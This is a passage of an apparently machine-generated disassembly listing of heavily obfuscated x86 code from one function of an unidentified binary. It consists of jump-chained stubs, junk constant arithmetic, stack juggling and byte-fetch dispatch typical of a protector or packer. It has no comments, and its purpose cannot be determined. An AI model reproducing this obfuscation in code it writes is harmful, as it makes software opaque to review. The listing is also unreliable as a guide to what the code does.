; ---------------------------------------------------------------------------


loc_59EB78:				; CODE XREF: sub_57DD3A+1947Cj
		push	ebx
		jmp	loc_5A01F5
; ---------------------------------------------------------------------------


loc_59EB7E:				; CODE XREF: sub_57DD3A+168A9j
		push	46BBh
		mov	[esp+54h+var_54], esi
		push	ebx
		mov	ebx, 44DB0D64h
		shr	ebx, 2
		shr	ebx, 1
		add	ebx, 91DA1C5h
		jmp	loc_59397A
; ---------------------------------------------------------------------------


loc_59EB9C:				; CODE XREF: sub_57DD3A+1BD97j
		mov	[esp+4Ah+var_4C+2], eax
		push	1409h
		mov	[esp+4Eh+var_50+2], edx
		push	eax
		mov	eax, 5635215Bh
		mov	edx, eax
		pop	eax
		mov	eax, 7AF44D5Bh
		xor	eax, edx
		pop	edx
		push	ecx
		mov	ecx, 6A2D4308h
		jmp	loc_58FDA8
; ---------------------------------------------------------------------------


loc_59EBC3:				; CODE XREF: sub_57DD3A+19E84j
		push	66F9h
		mov	[esp+58h+var_58], ecx
		jmp	loc_599DF4
; ---------------------------------------------------------------------------


loc_59EBD0:				; CODE XREF: sub_57DD3A+14A44j
		add	[esp+74h+var_70], esi
		jmp	loc_5A1AEC
; ---------------------------------------------------------------------------


loc_59EBD9:				; CODE XREF: sub_57DD3A+1FE99j
		sub	ebp, 41C04956h
		jmp	loc_5999EF
; ---------------------------------------------------------------------------


loc_59EBE4:				; CODE XREF: sub_57DD3A+1417Ej
		add	dh, 1
		jmp	loc_597722
; ---------------------------------------------------------------------------


loc_59EBEC:				; CODE XREF: sub_57DD3A+139F8j
		sub	eax, 186C33B1h
		xor	eax, 0AD78C04Bh
		push	esi
		push	esp
		jmp	loc_5A01B5
; ---------------------------------------------------------------------------


loc_59EBFD:				; CODE XREF: sub_57DD3A+1A22Dj
		push	1EC7h
		jmp	loc_59CE33
; ---------------------------------------------------------------------------


loc_59EC07:				; CODE XREF: sub_57DD3A+1A011j
		pop	ebx
		add	ebx, 2E1406B0h
		jmp	loc_5916C6
; ---------------------------------------------------------------------------


loc_59EC13:				; CODE XREF: sub_57DD3A+15709j
		mov	ebx, esp
		jmp	loc_592AD7
; ---------------------------------------------------------------------------


loc_59EC1A:				; CODE XREF: sub_57DD3A+1768Fj
		sub	eax, 5E6F09E5h
		push	edx
		mov	edx, 69468D5h
		add	edx, 5B200250h
		neg	edx
		xor	edx, 252473E2h
		push	ebx
		mov	ebx, 5BB9C0E4h
		sub	edx, ebx
		jmp	loc_59D0B4
; ---------------------------------------------------------------------------


loc_59EC40:				; CODE XREF: sub_57DD3A+24279j
		not	[esp+60h+var_60]
		pop	eax
		xor	eax, 4AD100E2h
		xor	edi, eax
		pop	eax
		jmp	loc_590D3B
; ---------------------------------------------------------------------------


loc_59EC51:				; CODE XREF: sub_57DD3A+20453j
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_59AF7C
; ---------------------------------------------------------------------------


loc_59EC60:				; CODE XREF: sub_57DD3A+237BBj
		sub	esi, 18C10272h
		pop	ebp
		mov	edi, esi
		pop	esi
		sub	esi, 6EE80297h
		add	esi, 53C001DDh
		add	esi, edi
		jmp	loc_5993C6
; ---------------------------------------------------------------------------


loc_59EC7D:				; CODE XREF: sub_57DD3A+20810j
		add	eax, 4
		xchg	eax, [esp+46h+var_46]
		pop	esp
		jmp	loc_5A0C2F
; ---------------------------------------------------------------------------


loc_59EC89:				; CODE XREF: sub_57DD3A+1A004j
		sub	ebx, 1FA3486Bh
		add	ebx, 13F467C5h
		sub	esp, 4
		mov	[esp+3Eh+var_3E], edx
		mov	edx, 0
		add	edx, ebx
		sub	esp, 4
		mov	[esp+42h+var_42], ecx
		sub	esp, 4
		mov	[esp+46h+var_46], ebp
		mov	ebp, 6427D79h
		xor	[esp+46h+var_42], ebp
		pop	ebp
		pop	dword ptr [edx]
		jmp	loc_593263
; ---------------------------------------------------------------------------


loc_59ECBF:				; CODE XREF: sub_57DD3A+22944j
		pop	esp
		mov	[esp+3Ah+var_3A], ebp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_58EDCD
; ---------------------------------------------------------------------------


loc_59ECCB:				; CODE XREF: sub_57DD3A+24B1Fj
		push	edi
		mov	edi, 4
		jmp	loc_59F81F
; ---------------------------------------------------------------------------


loc_59ECD6:				; CODE XREF: sub_57DD3A+22181j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59ECDB:				; CODE XREF: sub_57DD3A+22AFBj
		push	edi
		mov	edi, 4EC42DF3h
		add	edi, 375A4483h
		xor	edi, 3F252E4h
		sub	edi, 44B212F3h
		xor	edi, 4F595441h
		jmp	loc_594DC7
; ---------------------------------------------------------------------------


loc_59ECFE:				; CODE XREF: sub_57DD3A+22499j
		pop	eax
		sub	edi, ebp
		pop	ebp
		add	edi, eax
		sub	esp, 4
		mov	[esp+42h+var_42], edx
		mov	edx, 133B6531h
		inc	edx
		sub	edx, 534727D2h
		shl	edx, 1
		add	edx, 0CD8F9C64h
		add	edi, edx
		pop	edx
		pop	eax
		push	esi
		mov	esi, 2
		add	edi, esi
		mov	esi, [esp+3Eh+var_3E]
		add	esp, 4
		xchg	edi, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		shl	[esp+3Ah+var_3A], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59ED45:				; CODE XREF: sub_57DD3A+141E0j
		pop	esi
		jmp	loc_5A1E16
; ---------------------------------------------------------------------------


loc_59ED4B:				; CODE XREF: sub_57DD3A+1A6E3j
		pop	esp
		jmp	loc_58F6D5
; ---------------------------------------------------------------------------


loc_59ED51:				; CODE XREF: sub_57DD3A+23232j
		pop	esp
		mov	[esp+60h+var_60], ebx
		push	ecx
		mov	cl, 11h
		mov	bh, cl
		jmp	loc_59EA07
; ---------------------------------------------------------------------------


loc_59ED5F:				; CODE XREF: sub_57DD3A+1555Dj
		add	eax, 4
		xchg	eax, [esp-0Ch+arg_6+2]
		pop	esp
		jmp	loc_59389D
; ---------------------------------------------------------------------------


loc_59ED6B:				; CODE XREF: sub_57DD3A+1509Fj
		xor	edi, 0C9E9EE3Eh
		push	edx
		mov	edx, edi
		mov	ecx, edx
		pop	edx
		jmp	loc_5A02F1
; ---------------------------------------------------------------------------


loc_59ED7C:				; CODE XREF: sub_57DD3A+18742j
		push	bx
		jmp	loc_59E3FF
; ---------------------------------------------------------------------------


loc_59ED83:				; CODE XREF: sub_57DD3A+1F85Ej
		not	ebp
		xor	[esp+7Eh+var_80+2], ebp
		xor	ebp, [esp+7Eh+var_80+2]
		jmp	loc_590CE6
; ---------------------------------------------------------------------------


loc_59ED90:				; CODE XREF: sub_57DD3A+24B8Fj
		sub	esi, ebx
		add	esi, 21DC0868h
		jmp	loc_59C139
; ---------------------------------------------------------------------------


loc_59ED9D:				; CODE XREF: sub_57DD3A+10F94j
		sub	ebp, 25C8DEDEh
		add	edi, ebp
		push	[esp+1Ah+var_1A]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Eh+var_1E]
		pop	esp
		push	ebp
		push	esi
		mov	esi, 6FBF6ACDh
		mov	ebp, 6FBF6AC9h
		jmp	loc_5995E2
; ---------------------------------------------------------------------------


loc_59EDCD:				; DATA XREF: sub_57DD3A+103EAo
		pop	dword ptr [edx]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59EDD4:				; CODE XREF: sub_57DD3A+1C936j
		add	edi, 2A344C8Fh
		add	esi, 1D3D3F2Bh
		jmp	loc_592624
; ---------------------------------------------------------------------------


loc_59EDE5:				; CODE XREF: sub_57DD3A+2364Cj
		add	ecx, 0C356C503h
		jmp	loc_5A1DAE
; ---------------------------------------------------------------------------


loc_59EDF0:				; DATA XREF: sub_57DD3A+10366o
		lodsb
		push	60C4h
		mov	[esp+4Eh+var_50+2], ebx
		mov	bh, 7Ch
		not	bh
		and	bh, 0EDh
		not	bh
		xor	bh, 0E8h
		jmp	loc_5A159F
; ---------------------------------------------------------------------------


loc_59EE0A:				; CODE XREF: sub_57DD3A+137E6j
		mov	esi, 145C11BAh
		jmp	loc_59FAF5
; ---------------------------------------------------------------------------


loc_59EE14:				; CODE XREF: sub_57DD3A+17706j
		add	edi, 7AF5260Ch
		sub	edi, 0E2969931h
		sub	ebp, 2FF02DE0h
		sub	ebp, edi
		add	ebp, 2FF02DE0h
		pop	edi
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ebp
		jmp	loc_590619
; ---------------------------------------------------------------------------


loc_59EE3D:				; CODE XREF: sub_57DD3A+232D2j
		pop	esp


loc_59EE3E:				; CODE XREF: sub_57DD3A+170CEj
		push	52B5h
		mov	[esp+4Ch+var_4C], ebx
		xor	[esp+4Ch+var_4C], 67E67F04h
		jmp	loc_58F5C4
; ---------------------------------------------------------------------------


loc_59EE52:				; CODE XREF: sub_57DD3A+1C5DAj
		add	ecx, ebx
		mov	ebx, [esp+0Eh+var_E]
		add	esp, 4
		add	edx, ecx
		push	dword ptr [esp+0]
		mov	ecx, [esp+0Eh+var_E]
		jmp	loc_59E05E
; ---------------------------------------------------------------------------


loc_59EE67:				; CODE XREF: sub_57DD3A+107F6j
		xchg	ecx, [esp+14h+var_16+2]
		pop	esp
		mov	[esp+10h+var_12+2], edx
		push	2055h
		mov	[esp+14h+var_16+2], eax
		jmp	loc_591CD7
; ---------------------------------------------------------------------------


loc_59EE7B:				; CODE XREF: sub_57DD3A+16A2Ej
		neg	bl
		sub	bl, 52h
		add	ch, bl
		pop	ebx
		jmp	loc_59B51B
; ---------------------------------------------------------------------------


loc_59EE88:				; CODE XREF: sub_57DD3A+16E69j
		shl	esi, 6
		jmp	loc_59E304
; ---------------------------------------------------------------------------


loc_59EE90:				; CODE XREF: sub_57DD3A+122CFj
		mov	edi, [esp+44h+var_46+2]
		add	esp, 4
		xor	edx, [esp+40h+var_42+2]
		jmp	loc_591EC5
; ---------------------------------------------------------------------------


loc_59EEA1:				; CODE XREF: sub_57DD3A+20D4Fj
		pop	edi
		add	edx, 40E56F2Dh
		add	edx, esi
		jmp	loc_59F170
; ---------------------------------------------------------------------------


loc_59EEAF:				; CODE XREF: sub_57DD3A+19B4Cj
		inc	edx
		jmp	loc_59E6D3
; ---------------------------------------------------------------------------


loc_59EEB5:				; CODE XREF: sub_57DD3A+224E2j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+42h+var_42]
		jmp	loc_5A1EED
; ---------------------------------------------------------------------------


loc_59EEC8:				; CODE XREF: sub_57DD3A+1F5C2j
		push	69E9h
		mov	[esp+58h+var_58], edi
		jmp	loc_5992F6
; ---------------------------------------------------------------------------


loc_59EED5:				; CODE XREF: sub_57DD3A+11512j
		sub	ebx, 0F845BF89h
		add	eax, ebx
		pop	ebx
		add	eax, 66F67FC2h
		sub	esp, 4
		mov	[esp+14h+var_16+2], ebx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], eax
		jmp	loc_59BA64
; ---------------------------------------------------------------------------


loc_59EEFA:				; CODE XREF: sub_57DD3A+17E8Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59BD06
; ---------------------------------------------------------------------------


loc_59EF11:				; CODE XREF: sub_57DD3A+19483j
		not	ch
		sub	ch, 16h
		xor	al, ch
		mov	cx, word ptr [esp+16h+var_16]
		add	esp, 2
		sub	bl, al
		mov	eax, [esp+12h+var_12]
		add	esp, 4
		sub	bl, al
		push	eax
		jmp	loc_5957BD
; ---------------------------------------------------------------------------


loc_59EF2F:				; CODE XREF: sub_57DD3A+17B88j
		sub	edx, esi
		jmp	loc_5960D9
; ---------------------------------------------------------------------------


loc_59EF36:				; CODE XREF: sub_57DD3A+12721j
		inc	edi
		not	edi
		inc	edi
		xor	edi, 960F9A9Ah
		add	ebx, edi
		pop	edi
		jmp	loc_59AB32
; ---------------------------------------------------------------------------


loc_59EF48:				; CODE XREF: sub_57DD3A+2440Aj
		mov	ebx, [esp+12h+var_12]
		jmp	loc_58FD93
; ---------------------------------------------------------------------------


loc_59EF50:				; CODE XREF: sub_57DD3A+1B21Fj
		mov	edx, [esp+60h+var_60]
		jmp	loc_592ACC
; ---------------------------------------------------------------------------


loc_59EF58:				; CODE XREF: sub_57DD3A+25043j
		mov	esi, 4255597Fh
		add	ebx, esi
		mov	esi, [esp+60h+var_60]
		add	esp, 4
		jmp	loc_59320A
; ---------------------------------------------------------------------------


loc_59EF6D:				; CODE XREF: sub_57DD3A+164E0j
		sub	eax, 6E7003EEh
		add	eax, ebp
		jmp	loc_59C874
; ---------------------------------------------------------------------------


loc_59EF79:				; CODE XREF: sub_57DD3A+16916j
		push	esi
		push	edi
		jmp	loc_59B2D6
; ---------------------------------------------------------------------------


loc_59EF80:				; CODE XREF: sub_57DD3A+1B9C3j
		dec	ecx
		jmp	loc_598991
; ---------------------------------------------------------------------------


loc_59EF86:				; CODE XREF: sub_57DD3A+1EC0Cj
		add	esp, 4
		jmp	loc_5A0F71
; ---------------------------------------------------------------------------


loc_59EF91:				; CODE XREF: sub_57DD3A+21DD6j
		mov	dl, 9Fh
		mov	al, dl
		pop	edx
		jmp	loc_5911F1
; ---------------------------------------------------------------------------


loc_59EF9B:				; CODE XREF: sub_57DD3A+24CDDj
		mov	ebx, [esp+32h+var_32]
		jmp	loc_592C10
; ---------------------------------------------------------------------------


loc_59EFA3:				; CODE XREF: sub_57DD3A+18082j
		add	edi, 1FE50A22h
		sub	edi, edx
		sub	edi, 1FE50A22h
		pop	edx
		pop	edx
		push	[esp+3Ch+var_3E+2]
		pop	ebx
		jmp	loc_591CCF
; ---------------------------------------------------------------------------


loc_59EFBC:				; CODE XREF: sub_57DD3A+236DFj
		dec	ebp
		not	ebp
		sub	ebp, 9C1A6EE2h
		add	edx, 2F181912h
		jmp	loc_591AC5
; ---------------------------------------------------------------------------


loc_59EFD0:				; CODE XREF: sub_57DD3A+12476j
		add	esi, 2E9F7320h
		sub	esi, edx
		sub	esi, 2E9F7320h
		pop	edx
		push	ecx
		jmp	loc_5A120E
; ---------------------------------------------------------------------------


loc_59EFE5:				; CODE XREF: sub_57DD3A+24158j
		mov	cl, 0F1h
		jmp	loc_590BD6
; ---------------------------------------------------------------------------


loc_59EFEC:				; CODE XREF: sub_57DD3A+12E4Dj
		add	ebp, ebx
		push	ecx
		mov	ecx, 5B5B42EDh
		add	ebp, ecx
		pop	ecx
		push	[esp+58h+var_58]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5933E3
; ---------------------------------------------------------------------------


loc_59F00F:				; CODE XREF: sub_57DD3A+161FBj
		push	[esp+40h+var_42+2]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_594429
; ---------------------------------------------------------------------------


loc_59F01F:				; CODE XREF: sub_57DD3A+121F4j
		add	ebp, edi
		pop	edi
		jmp	loc_592C05
; ---------------------------------------------------------------------------


loc_59F027:				; CODE XREF: sub_57DD3A+11D98j
		mov	dh, ah
		pop	eax
		sub	al, dh
		pop	edx
		add	al, 1Ch
		jmp	loc_591C77
; ---------------------------------------------------------------------------


loc_59F034:				; CODE XREF: sub_57DD3A+14CB2j
		push	ebx
		mov	ebx, 737B7597h
		add	ebx, 0FAB38D93h
		mov	eax, ebx
		pop	ebx
		sub	esi, eax
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		add	esi, eax
		jmp	loc_59890A
; ---------------------------------------------------------------------------


loc_59F055:				; CODE XREF: sub_57DD3A+239D2j
		not	[esp+12h+var_12]
		pop	edi
		push	ebx
		push	edi
		mov	edi, 6B50012Eh
		jmp	loc_59D9C4
; ---------------------------------------------------------------------------


loc_59F065:				; CODE XREF: sub_57DD3A+10774j
		mov	ebx, 1B4FDEh
		jmp	loc_5982D7
; ---------------------------------------------------------------------------


loc_59F06F:				; CODE XREF: sub_57DD3A+1F103j
		sub	esi, 2F103CE5h
		push	[esp+54h+var_54]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		jmp	loc_59F979
; ---------------------------------------------------------------------------


loc_59F081:				; CODE XREF: sub_57DD3A+1A2A0j
		add	esp, 4
		jmp	loc_593AF4
; ---------------------------------------------------------------------------


loc_59F08C:				; CODE XREF: sub_57DD3A+1885Bj
		shr	eax, 3
		jmp	loc_59609B
; ---------------------------------------------------------------------------


loc_59F094:				; CODE XREF: sub_57DD3A+18AEBj
		push	[esp+36h+var_36]
		jmp	loc_5A03A0
; ---------------------------------------------------------------------------


loc_59F09C:				; CODE XREF: sub_57DD3A+2030Bj
		pop	ebp
		movzx	ax, byte ptr [eax]
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_592EF2
; ---------------------------------------------------------------------------


loc_59F0AA:				; CODE XREF: sub_57DD3A+19A76j
		pop	esp
		mov	[esp+3Ah+var_3A], ebx
		push	5AEA629Ah
		jmp	loc_5965C9
; ---------------------------------------------------------------------------


loc_59F0B8:				; CODE XREF: sub_57DD3A+24857j
		mov	[esp+3Eh+var_3E], esi
		mov	esi, 2
		sub	edi, 79055E78h
		jmp	loc_59D7BF
; ---------------------------------------------------------------------------


loc_59F0CB:				; CODE XREF: sub_57DD3A+13499j
		pop	esp
		jmp	loc_591018
; ---------------------------------------------------------------------------


loc_59F0D1:				; CODE XREF: sub_57DD3A+24FFAj
		xor	ebp, esi
		pop	esi
		sub	eax, ebp
		pop	ebp
		jmp	loc_5A1C90
; ---------------------------------------------------------------------------


loc_59F0DC:				; CODE XREF: sub_57DD3A+13CA3j
		xor	ecx, ebp
		jmp	loc_5960CA
; ---------------------------------------------------------------------------


loc_59F0E3:				; CODE XREF: sub_57DD3A+10660j
		mov	[esp+8+var_8], esi
		mov	esi, 7C634762h
		add	ebx, esi
		pop	esi
		add	ebx, 1E252886h
		add	ebx, 43A7A5EDh
		and	eax, ebx
		mov	ebx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A1072
; ---------------------------------------------------------------------------


loc_59F113:				; CODE XREF: sub_57DD3A+1C9CBj
		push	4CE6h
		jmp	loc_599590
; ---------------------------------------------------------------------------


loc_59F11D:				; CODE XREF: sub_57DD3A+1649Ej
		pop	esi
		add	edx, 2
		xchg	edx, [esp+52h+var_54+2]
		pop	esp
		btr	word ptr [esp+4Eh+var_50+2], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59F133:				; CODE XREF: sub_57DD3A+16350j
		mov	ebp, 4B417746h
		add	ebp, 0EF28E870h
		or	eax, ebp
		pop	ebp
		inc	eax
		jmp	loc_59E9F6
; ---------------------------------------------------------------------------


loc_59F147:				; CODE XREF: sub_57DD3A+12626j
		push	ecx
		mov	cl, 4Eh
		jmp	loc_5924C1
; ---------------------------------------------------------------------------


loc_59F14F:				; CODE XREF: sub_57DD3A+16780j
		push	24BDh
		mov	[esp+4Ch+var_4C], esp
		add	[esp+4Ch+var_4C], 4
		pop	edi
		push	ebp
		jmp	loc_5940B0
; ---------------------------------------------------------------------------


loc_59F165:				; CODE XREF: sub_57DD3A+14A4Cj
		push	ebx
		mov	ebx, 37465E74h
		jmp	loc_59C6CD
; ---------------------------------------------------------------------------


loc_59F170:				; CODE XREF: sub_57DD3A+21170j
		push	ecx
		jmp	loc_58E9A7
; ---------------------------------------------------------------------------


loc_59F176:				; CODE XREF: sub_57DD3A+1C3FBj
		mov	ah, cl
		mov	ecx, [esp]
		add	esp, 4
		add	ah, 37h
		mov	bh, ah
		jmp	loc_59150E
; ---------------------------------------------------------------------------


loc_59F188:				; CODE XREF: sub_57DD3A+22731j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58EE94
; ---------------------------------------------------------------------------


loc_59F193:				; CODE XREF: sub_57DD3A+2284Ej
		sub	esp, 4
		mov	[esp+4Ch+var_4C], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4A656B72h
		push	ecx
		mov	ecx, 47427C14h
		sub	eax, ecx
		jmp	loc_59681C
; ---------------------------------------------------------------------------


loc_59F1B7:				; CODE XREF: sub_57DD3A+1EF63j
		pop	ebx
		sub	esi, 78D14CF4h
		add	esi, eax
		add	esi, 78D14CF4h
		mov	eax, [esp+1Eh+var_1E]
		add	esp, 4
		jmp	loc_59727B
; ---------------------------------------------------------------------------


loc_59F1D4:				; CODE XREF: sub_57DD3A+222BEj
		pop	ebx
		push	3775h
		mov	[esp+1Ah+var_1A], ecx
		push	ebp
		push	eax
		push	esi
		jmp	loc_58F251
; ---------------------------------------------------------------------------


loc_59F1E5:				; CODE XREF: sub_57DD3A+127F0j
		mov	esi, 0C185745h
		dec	esi
		sub	esi, 0F5B1989h
		sub	esi, 0FCBD3DB7h
		add	ebx, esi
		jmp	loc_59B0EC
; ---------------------------------------------------------------------------


loc_59F1FE:				; CODE XREF: sub_57DD3A+1CA4Aj
		pop	esp
		add	ebp, 64D7A0Fh
		jmp	loc_5984E9
; ---------------------------------------------------------------------------


loc_59F20A:				; CODE XREF: sub_57DD3A+159D1j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+6Ah+var_6C+2]
		pop	esp
		push	7374h
		jmp	near ptr word_592A96
; ---------------------------------------------------------------------------


loc_59F224:				; CODE XREF: sub_57DD3A+2361Ej
		mov	esi, [esp+6Ah+var_6C+2]
		jmp	loc_5A10B7
; ---------------------------------------------------------------------------


loc_59F22C:				; CODE XREF: sub_57DD3A+12442j
		push	edi
		push	esp
		pop	edi
		push	ecx
		jmp	loc_58E6F3
; ---------------------------------------------------------------------------


loc_59F235:				; DATA XREF: sub_57DD3A+103FAo
		mov	ax, word ptr [esp+56h+var_58+2]
		push	499Ah
		mov	[esp+5Ah+var_5C+2], ebp
		push	esp
		pop	ebp
		jmp	loc_59007A
; ---------------------------------------------------------------------------


loc_59F248:				; CODE XREF: sub_57DD3A+1A201j
		sub	al, ch
		pop	ecx
		jmp	loc_59BCF6
; ---------------------------------------------------------------------------


loc_59F250:				; CODE XREF: sub_57DD3A+1E904j
		mov	edi, esi
		mov	esi, [esp+60h+var_60]
		add	esp, 4
		add	[esp+5Ch+var_54], 15C92660h
		add	[esp+5Ch+var_54], edi
		sub	[esp+5Ch+var_54], 15C92660h
		pop	edi
		pop	edx
		jmp	loc_59A6FE
; ---------------------------------------------------------------------------


loc_59F276:				; CODE XREF: sub_57DD3A+1B1A9j
		mov	esp, [esp+28h+var_2A+2]
		or	eax, eax
		jz	loc_5A0E74
		push	dword ptr [edi+1Ch]
		push	[esp+2Ch+var_2E+2]
		push	[esp+30h+var_32+2]
		pop	ecx
		push	ebp
		jmp	loc_598D33
; ---------------------------------------------------------------------------


loc_59F291:				; CODE XREF: sub_57DD3A+1A4A9j
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59846E
; ---------------------------------------------------------------------------


loc_59F2A0:				; CODE XREF: sub_57DD3A+1CBB2j
		sub	edx, 0FEA14CBh
		pop	ebp
		xchg	edx, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		or	ecx, ecx
		jz	loc_5956BD
		push	edi
		mov	edi, esp
		jmp	loc_59D6E9
; ---------------------------------------------------------------------------
		lodsd
		push	501Bh
		jmp	loc_5908A1
; ---------------------------------------------------------------------------


loc_59F2C8:				; CODE XREF: sub_57DD3A+2238Dj
		add	esp, 4
		jmp	loc_596E15
; ---------------------------------------------------------------------------


loc_59F2D0:				; CODE XREF: sub_57DD3A+11B22j
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+84h+var_84]
		pop	esp
		xchg	edi, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		mov	[esp+80h+var_80], eax
		push	esp
		jmp	loc_58F058
; ---------------------------------------------------------------------------


loc_59F2F3:				; CODE XREF: sub_57DD3A+1AB87j
		mov	[esp+20h+var_22+2], edx
		mov	edx, 24h
		jmp	loc_5A0BBC
; ---------------------------------------------------------------------------


loc_59F300:				; CODE XREF: sub_57DD3A+11408j
		mov	ecx, [esp+42h+var_42]
		add	esp, 4
		shl	ebx, 5
		push	eax
		mov	eax, 250F1F13h
		add	eax, 49443F1h
		add	ebx, eax
		pop	eax
		sub	edx, ebx
		pop	ebx
		mov	eax, [esp+3Ah+var_3A]
		add	esp, 4
		push	2C1Dh
		mov	[esp+3Ah+var_3A], edx
		pop	ecx
		push	[esp+36h+var_36]
		pop	edx
		add	esp, 4
		mov	eax, ecx
		pop	ecx
		jmp	loc_5A1BCC
; ---------------------------------------------------------------------------


loc_59F33B:				; CODE XREF: sub_57DD3A+1A050j
		not	edi
		xor	edi, 122A52B8h
		shr	edi, 2
		xor	edi, 3D460086h
		and	edi, 66250DE6h
		sub	edi, 0FD29A91Ch
		xor	esi, edi
		pop	edi
		and	edx, esi
		pop	esi
		add	edx, 1
		sub	edx, 204B41FBh
		add	edx, 0C3300DEh
		push	edx
		xor	[esp+1Ch+var_1E+2], 36AF26F8h
		pop	edi
		jmp	loc_59ABDB
; ---------------------------------------------------------------------------


loc_59F37E:				; CODE XREF: sub_57DD3A+18D6Cj
		shr	ebp, 7
		xor	ebp, 560067EDh
		not	ebp
		xor	ebp, 9279CD54h
		jmp	loc_593CAA
; ---------------------------------------------------------------------------


loc_59F394:				; CODE XREF: sub_57DD3A+175ACj
		pop	ecx
		xchg	esi, [esp+1Ch+var_1E+2]
		pop	esp
		xor	al, bh
		mov	bx, word ptr [esp+18h+var_1A+2]
		add	esp, 2
		jmp	loc_59CB6E
; ---------------------------------------------------------------------------


loc_59F3AA:				; CODE XREF: sub_57DD3A+1C804j
		mov	ecx, 0EEC59A2h
		jmp	loc_5A229B
; ---------------------------------------------------------------------------


loc_59F3B4:				; CODE XREF: sub_57DD3A+114B8j
		push	[esp+14h+var_12+2]
		pop	ebp
		pop	[esp+14h+var_16+2]
		mov	esp, [esp+10h+var_12+2]
		and	ecx, ebp
		mov	ebp, [esp+10h+var_12+2]
		push	esi
		push	esp
		mov	esi, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_59E710
; ---------------------------------------------------------------------------


loc_59F3D4:				; CODE XREF: sub_57DD3A+25299j
		sub	ebx, 45334454h
		pop	ecx
		pop	esi
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_59D629
; ---------------------------------------------------------------------------


loc_59F3E9:				; CODE XREF: sub_57DD3A+12734j
		xor	edx, 3DF23994h
		dec	edx
		sub	edx, 0DE842908h
		xor	edi, edx
		pop	edx
		pop	eax
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_593280
; ---------------------------------------------------------------------------


loc_59F408:				; CODE XREF: sub_57DD3A+15015j
		push	1D5631F5h
		pop	edx
		jmp	loc_592FFF
; ---------------------------------------------------------------------------


loc_59F413:				; CODE XREF: sub_57DD3A+1B1FBj
		pop	edx
		shl	ah, 4
		sub	ah, 0FFh
		add	ah, 1
		push	edx
		mov	dh, 0B0h
		shl	dh, 8
		push	cx
		mov	ch, 91h
		or	dh, ch
		pop	cx
		shl	dh, 4
		sub	dh, 50h
		sub	dh, 0D7h
		jmp	loc_58FE45
; ---------------------------------------------------------------------------


loc_59F439:				; CODE XREF: sub_57DD3A+11BA3j
		add	edi, 0FD7FEFFCh
		jmp	loc_590375
; ---------------------------------------------------------------------------


loc_59F444:				; CODE XREF: sub_57DD3A+135CBj
		pop	ecx
		inc	ecx
		push	ebx
		jmp	loc_5974DC
; ---------------------------------------------------------------------------


loc_59F44C:				; CODE XREF: sub_57DD3A+1413Fj
		xor	edi, 595243EDh
		mov	ebx, edi
		mov	edi, [esp+50h+var_50]
		add	esp, 4
		xor	edx, ebx
		jmp	loc_59735E
; ---------------------------------------------------------------------------


loc_59F464:				; CODE XREF: sub_57DD3A+1D0A6j
		pop	ebx
		jmp	loc_5A0E39
; ---------------------------------------------------------------------------


loc_59F46A:				; CODE XREF: sub_57DD3A+1B395j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+52h+var_54+2]
		pop	esp
		mov	[esp+4Eh+var_50+2], ecx
		jmp	loc_5A14B8
; ---------------------------------------------------------------------------


loc_59F480:				; CODE XREF: sub_57DD3A+17428j
		mov	edi, esp
		jmp	loc_59272F
; ---------------------------------------------------------------------------


loc_59F487:				; CODE XREF: sub_57DD3A+1E590j
		mov	esi, 443251A6h
		jmp	loc_59DA91
; ---------------------------------------------------------------------------


loc_59F491:				; CODE XREF: sub_57DD3A+1687Dj
		mov	cl, 0B0h
		jmp	loc_59D703
; ---------------------------------------------------------------------------


loc_59F498:				; CODE XREF: sub_57DD3A+1CF66j
		pop	ecx
		jmp	loc_59D73F
; ---------------------------------------------------------------------------


loc_59F49E:				; CODE XREF: sub_57DD3A+19CEAj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebx
		sub	[esp-4+arg_0], 202448F2h
		jmp	loc_59E0C0
; ---------------------------------------------------------------------------


loc_59F4C0:				; CODE XREF: sub_57DD3A+1FE23j
		push	798Fh
		jmp	loc_5A2CE7
; ---------------------------------------------------------------------------


loc_59F4CA:				; CODE XREF: sub_57DD3A+224B6j
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		push	771h
		mov	[esp+5Eh+var_60+2], esi
		mov	esi, 351917E2h
		add	eax, esi
		pop	esi
		push	ebx
		jmp	loc_599E0E
; ---------------------------------------------------------------------------


loc_59F4E4:				; CODE XREF: sub_57DD3A+131F2j
		add	dh, 89h
		sub	al, 16h
		sub	al, dh
		push	ecx
		mov	cl, 16h
		jmp	loc_59313A
